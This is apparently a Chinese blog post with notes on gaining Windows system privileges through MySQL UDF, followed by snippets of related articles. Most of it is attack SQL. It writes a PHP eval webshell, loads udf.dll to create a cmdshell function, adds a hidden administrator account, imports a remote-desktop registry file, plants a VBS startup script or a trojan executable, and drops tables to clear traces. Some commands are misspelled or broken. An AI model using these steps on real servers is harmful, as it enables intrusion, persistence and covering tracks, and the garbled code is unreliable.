MySQL擴充套件介面UDF提權

2021-08-07 02:56:59 字數 2507 閱讀 6728

1.udf介紹

udf(user-defined function)是mysql的乙個拓展介面,也稱為自定義函式。

2. udf提權條件

1)目標系統是windows(win2000,xp,win2003)

2)可以將udf.dll寫入到相應目錄的許可權。(如果

mysql版本大於5.1版本,udf.dll檔案必須放置於mysql安裝目錄下的lib\plugin資料夾下。如果

mysql版本小於5.1版本,udf.dll檔案在windows2003下放置於c:\windows\system32,在windows2000下放置於c:\winnt\system32.)

3)已經擁有mysql的某個使用者賬戶,此賬號必須有對mysql的insert和delete許可權以建立和拋棄函式(mysql文件原語),一般以root賬號為佳,具備root賬號所具備的許可權的其它賬號也可以。

3.提權方法(有webshell的udf提權、無webshell的udf提權)

前提:root許可權  目的:獲取系統許可權  總結:udf提權專用webshell, 匯出dll, 再執行命令

1)通過webshell讀取資料庫配置檔案,獲取資料庫連線使用者名稱密碼

2)上傳udf.dll

select '<?php eval($_post['jim'];?>' into outfile 'f:/web/bak.php';  //寫入檔案

select load_file(木馬的十六進製制**) from user into outfile 'd:/web/iis.txt' //匯出檔案

3)執行sql

create fucntion cmdshell returns string soname "udf.dll";  //建立cmdshell函式

select cmdshell ('net user aaa 123 /add');  //執行cmd命令

select cmdshell ('net localgroup administrators aaa /add');  

select cmdshell ('regedit /s d:\web\3389.reg');

select cmdshell('netstat -an');

drop function cmdshell;  //刪除cmdshell函式,清除痕跡

select @@plugin_dir

select version(); //顯示資料庫版本

select @@basedir //獲取mysql安裝目錄  

select user(); //獲取當前使用者

二、mix.dll提權

1.獲取root許可權

2.把dll放到系統目錄

create table mix(abc longblob);

insert into mix values(load_file('d:\\web\\

udf.dll

'));  //讀檔案

select * from mix into outfile 'c:\\windows\\system32\\

udf.dll

';  、寫檔案

3.建立函式,執行系統命令

create function cmdshell returns string soname 'udf.dll';

select cmdshell('net user aaa 123 /add');

select cmdshell('net localgroup administrators aaa /add');

select cmdshell('net user');

4.刪除函式,清除痕跡

drop table if exists mix;

三、vbs啟動項提權

1.webshell連線資料庫

2.執行sql

create table vbs (cmd text);  //建立表

insert into vbs values ("set cmdshell=createobject ("wscript.shell")");

insert into vbs values ("a=cmdshell.run("cmd.exe /c net user aaa 123 /add",0)");

insert into vbs valuse ("b=cmdshell.run("cmd.exe /c net localgroup administrators aaa /add",0)");

select * from vbs into outfile "c:\\users\\a.vbs";  //匯入啟動項

drop table vbs;  //刪除表

或者create table class (cmd blob);

insert into class values (convert(木馬的十六進製制,char));

select * from class into dumpfile 'c:\\users\\mm.exe';  

drop table class;

UDF提權 mysql外掛程式學習筆記

以前看過一篇老外的文章講mysql udf提權原理,這篇文章中針對kali自帶的mysql 提權udf.dll進行了解釋,但是並沒有介紹如何編寫乙個標準的udf擴充套件。後來有個朋友託我幫他改下udf.dll,把其他功能去掉,只留下cmd shell這個命令執行的功能 開始我以為隨便寫個dll,然後...

linux下 udf提權 mysql udf提權

前言 udf user defined function 即 使用者自定義函式 檔案字尾為 dll 常用c語言編寫。通過在udf檔案中定義新函式,對mysql的功能進行擴充,可以執行系統任意命令。將mysql賬號root轉化為系統system許可權。思路 1.將udf檔案上傳到指定位置 sqlmap...

udf提權的適用環境

自己只遇到過windows mysql,所以一直以為只適用這個環境 多虧有人提醒,才發現udf提權並不限於此環境,而是同時適用於windows和linux環境,且支援mysql和postgresql 很久沒有進行提取,都忘記udf的含義了。複習下 user defined function udf提...